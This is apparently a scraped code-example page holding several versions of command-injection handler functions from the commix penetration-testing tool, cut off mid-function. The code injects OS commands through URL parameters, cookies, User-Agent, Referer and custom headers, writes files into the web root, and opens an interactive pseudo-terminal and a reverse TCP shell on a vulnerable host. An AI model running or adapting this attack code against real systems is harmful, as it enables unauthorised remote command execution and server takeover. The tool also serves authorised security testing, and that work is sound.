                        go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                        if go_back and go_back_again == False:
                          break
                        if go_back and go_back_again:
                          return True 
                      else:
                        if menu.options.ignore_session or \
                           session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                          # The main command injection exploitation.
                          check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
                          # Export injection result
                          tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                          if not menu.options.ignore_session :
                            session_handler.store_cmd(url, cmd, output, vuln_parameter)
                        else:
                          output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                          print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, output)
                        print ""

                    except KeyboardInterrupt: 
                      raise

                    except SystemExit: 
                      raise

                    except EOFError:
                      err_msg = "Exiting, due to EOFError."
                      print settings.print_error_msg(err_msg)
                      raise

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  
                      
                elif gotshell in settings.CHOICE_QUIT:
                  raise SystemExit()

                else:
                  err_msg = "'" + gotshell + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
                break
            
    
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
示例#10
0
def cb_injection_handler(url, delay, filename, http_request_method):
    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "classic injection technique"

    if not settings.LOAD_SESSION:
        sys.stdout.write(settings.INFO_SIGN + "Testing the " + technique +
                         "... ")
        sys.stdout.flush()
        if menu.options.verbose:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:

                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            if menu.options.base64:
                                payload = urllib.unquote(payload)
                                payload = base64.b64encode(payload)
                            else:
                                if separator == " ":
                                    payload = re.sub(" ", "%20", payload)
                                else:
                                    payload = re.sub(" ", whitespace, payload)

                            # Check if defined "--verbose" option.
                            if menu.options.verbose:
                                print Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL

                            # if need page reload
                            if menu.options.url_reload:
                                time.sleep(delay)
                                response = urllib.urlopen(url)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Evaluate test results.
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not menu.options.verbose:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    sys.stdout.write("\r" +
                                                     settings.INFO_SIGN +
                                                     "Testing the " +
                                                     technique + "... " +
                                                     "[ " + float_percent +
                                                     "%" + " ]")
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not menu.options.verbose and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL

                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable="True")
                        else:
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOISE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif enumerate_again in settings.CHOISE_NO:
                                    break
                                elif enumerate_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOISE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename)
                                    break
                                elif file_access_again in settings.CHOISE_NO:
                                    break
                                elif file_access_again in settings.CHOISE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
                                if menu.options.verbose:
                                    print ""
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal shell? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOISE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
                                            else:
                                                pass
                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                                            # if need page reload
                                            if menu.options.url_reload:
                                                time.sleep(delay)
                                                response = urllib.urlopen(url)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = cb_injector.injection_results(
                                                    response, TAG)
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                if shell != "":
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                                else:
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOISE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOISE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#11
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "Semiblind Command Injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
    settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:

      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass

      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not settings.LOAD_SESSION or settings.RETEST == True: 
      if not menu.options.verbose:
        info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
      else:
        info_msg = "Testing the " + technique + "... "
      print settings.print_info_msg(info_msg)

  i = 0
  # Calculate all possible combinations
  total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        # If a previous session is available.
        if settings.LOAD_SESSION and session_handler.notification(url, technique):
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          OUTPUT_TEXTFILE = TAG + ".txt"
          if technique == "tempfile-based injection technique":
            #settings.LOAD_SESSION = True
            tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)

        if settings.RETEST == True:
          settings.RETEST = False
          from src.core.injections.results_based.techniques.classic import cb_handler
          cb_handler.exploitation(url, delay, filename, http_request_method)
 
        if not settings.LOAD_SESSION:
          i = i + 1
          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
          # The output file for file-based injection technique.
          OUTPUT_TEXTFILE = TAG + ".txt"    
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          try:
            # File-based decision payload (check if host is vulnerable).
            if alter_shell :
              payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
            else:
              payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                    
            # Check if defined "--prefix" option.
            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              info_msg = "Trying to upload the '" + OUTPUT_TEXTFILE
              info_msg += "' file on '" + settings.SRV_ROOT_DIR + "'..."
              print settings.print_info_msg(info_msg)
              payload_msg = payload.replace("\n", "\\n")
              print settings.print_payload(payload_msg)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

            # Custom HTTP header Injection
            elif settings.CUSTOM_HEADER_INJECTION == True:
              # Check if target host is vulnerable to custom http header injection.
              vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
              response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

            # Find the directory.
            output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
            time.sleep(delay)
            
            try:
              # Check if defined extra headers.
              request = urllib2.Request(output)
              headers.do_check(request)
              
              # Evaluate test results.
              output = urllib2.urlopen(request)
              html_data = output.read()
              shell = re.findall(r"" + TAG + "", html_data)

              if len(shell) != 0 and shell[0] == TAG and not menu.options.verbose:
                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                sys.stdout.flush()

              if len(shell) == 0 :
                #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                #if menu.options.verbose:
                  #print ""
                raise urllib2.HTTPError(url, 404, 'Error', {}, None)

            except urllib2.HTTPError, e:
                if e.getcode() == 404:
                  percent = ((i*100)/total)
                  float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                  if call_tmp_based == True:
                    exit_loops = True
                    tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                    tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                    raise
                    
                  # Show an error message, after N failed tries.
                  # Use the "/tmp/" directory for tempfile-based technique.
                  elif i == settings.FAILED_TRIES and no_result == True :
                    warn_msg = "It seems that you don't have permissions to "
                    warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."  
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    print ""
                    while True:
                      question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
                      tmp_upload = raw_input(settings.print_question_msg(question_msg)).lower()
                      if tmp_upload in settings.CHOICE_YES:
                        exit_loops = True
                        call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                        if call_tfb != False:
                          return True
                        else:
                          if no_result == True:
                            return False
                          else:
                            return True
                      elif tmp_upload in settings.CHOICE_NO:
                        break
                      elif tmp_upload in settings.CHOICE_QUIT:
                        print ""
                        raise
                      else:
                        if tmp_upload == "":
                          tmp_upload = "enter"
                        err_msg = "'" + tmp_upload + "' is not a valid answer."  
                        print settings.print_error_msg(err_msg) + "\n"
                        pass
                    continue
                  
                  else:
                    if exit_loops == False:
                      if not menu.options.verbose:
                        if str(float_percent) == "100.0":
                          if no_result == True:
                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                          else:
                            percent = str(float_percent)+ "%"
                        else:
                          percent = str(float_percent)+ "%"

                        info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                        continue
                      else:
                        continue
                    else:
                      raise
                  
                elif e.getcode() == 401:
                  err_msg = "Authorization required!"
                  print settings.print_error_msg(err_msg) + "\n"
                  sys.exit(0)
                  
                elif e.getcode() == 403:
                  err_msg = "You don't have permission to access this page."
                  print settings.print_error_msg(err_msg) + "\n"
                  sys.exit(0)
            
          except KeyboardInterrupt:
            # Delete previous shell (text) files (output)
            delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
            raise

          except SystemExit: 
            if 'vuln_parameter' in locals():
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
            raise

          except urllib2.URLError, e:
            warn_msg = "It seems that you don't have permissions to "
            warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
            sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
            print ""
            # Provide custom server's root directory.
            custom_srv_root_dir()
            continue
          
          except:
            raise
示例#12
0
def fb_injection_handler(url, delay, filename, http_request_method,
                         url_time_response):

    counter = 1
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    next_attack_vector = False
    export_injection_info = False
    injection_type = "Semiblind Command Injection"
    technique = "file-based injection technique"

    # Set temp path
    if settings.TARGET_OS == "win":
        if "microsoft-iis" in settings.SERVER_BANNER.lower():
            settings.TMP_PATH = "C:\\Windows\TEMP\\"
        else:
            settings.TMP_PATH = "%temp%\\"
    else:
        settings.TMP_PATH = "/tmp/"

    if menu.options.tmp_path:
        tmp_path = menu.options.tmp_path
    else:
        tmp_path = settings.TMP_PATH

    if settings.SRV_ROOT_DIR != "":
        settings.SRV_ROOT_DIR = ""

    if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
        call_tmp_based = True
    else:
        if menu.options.srv_root_dir:
            settings.SRV_ROOT_DIR = menu.options.srv_root_dir
        else:

            # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
            if "apache" in settings.SERVER_BANNER.lower():
                if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
                    try:
                        check_version = re.findall(
                            r"/(.*)\.", settings.SERVER_BANNER.lower())
                        if check_version[
                                0] > "2.3" and not settings.TARGET_OS == "win":
                            # Add "/html" to servers root directory
                            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                        else:
                            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
                    except IndexError:
                        pass
                # Add "/html" to servers root directory
                elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
                    settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                else:
                    pass
            # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
            elif "nginx" in settings.SERVER_BANNER.lower():
                try:
                    check_version = re.findall(r"/(.*)\.",
                                               settings.SERVER_BANNER.lower())
                    if check_version[0] >= "1.2.4":
                        # Add "/html" to servers root directory
                        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
                    else:
                        # Add "/www" to servers root directory
                        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
                except IndexError:
                    pass
            elif "microsoft-iis" in settings.SERVER_BANNER.lower():
                pass
            else:
                # Provide custom server's root directory.
                custom_srv_root_dir()

            path = urlparse.urlparse(url).path
            path_parts = path.split('/')
            count = 0
            for part in path_parts:
                count = count + 1
            count = count - 1
            last_param = path_parts[count]
            EXTRA_DIR = path.replace(last_param, "")
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
            if settings.TARGET_OS == "win":
                settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace(
                    "/", "\\")

        if not settings.LOAD_SESSION or settings.RETEST == True:
            if not menu.options.verbose:
                print settings.INFO_SIGN + "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
            else:
                print settings.INFO_SIGN + "Testing the " + technique + "... "

    i = 0
    # Calculate all possible combinations
    total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(
        settings.SUFFIXES)
    # Check if defined alter shell
    alter_shell = menu.options.alter_shell

    for prefix in settings.PREFIXES:
        for suffix in settings.SUFFIXES:
            for separator in settings.SEPARATORS:

                # If a previous session is available.
                if settings.LOAD_SESSION and session_handler.notification(
                        url, technique):
                    url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                        url, http_request_method)
                    OUTPUT_TEXTFILE = TAG + ".txt"
                    if technique == "tempfile-based injection technique":
                        #settings.LOAD_SESSION = True
                        tfb_handler.exploitation(url, delay, filename,
                                                 tmp_path, http_request_method,
                                                 url_time_response)

                if settings.RETEST == True:
                    settings.RETEST = False
                    from src.core.injections.results_based.techniques.classic import cb_handler
                    cb_handler.exploitation(url, delay, filename,
                                            http_request_method)

                if not settings.LOAD_SESSION:
                    i = i + 1
                    # Change TAG on every request to prevent false-positive results.
                    TAG = ''.join(
                        random.choice(string.ascii_uppercase)
                        for i in range(6))
                    # The output file for file-based injection technique.
                    OUTPUT_TEXTFILE = TAG + ".txt"
                    # Check for bad combination of prefix and separator
                    combination = prefix + separator
                    if combination in settings.JUNK_COMBINATION:
                        prefix = ""

                    try:
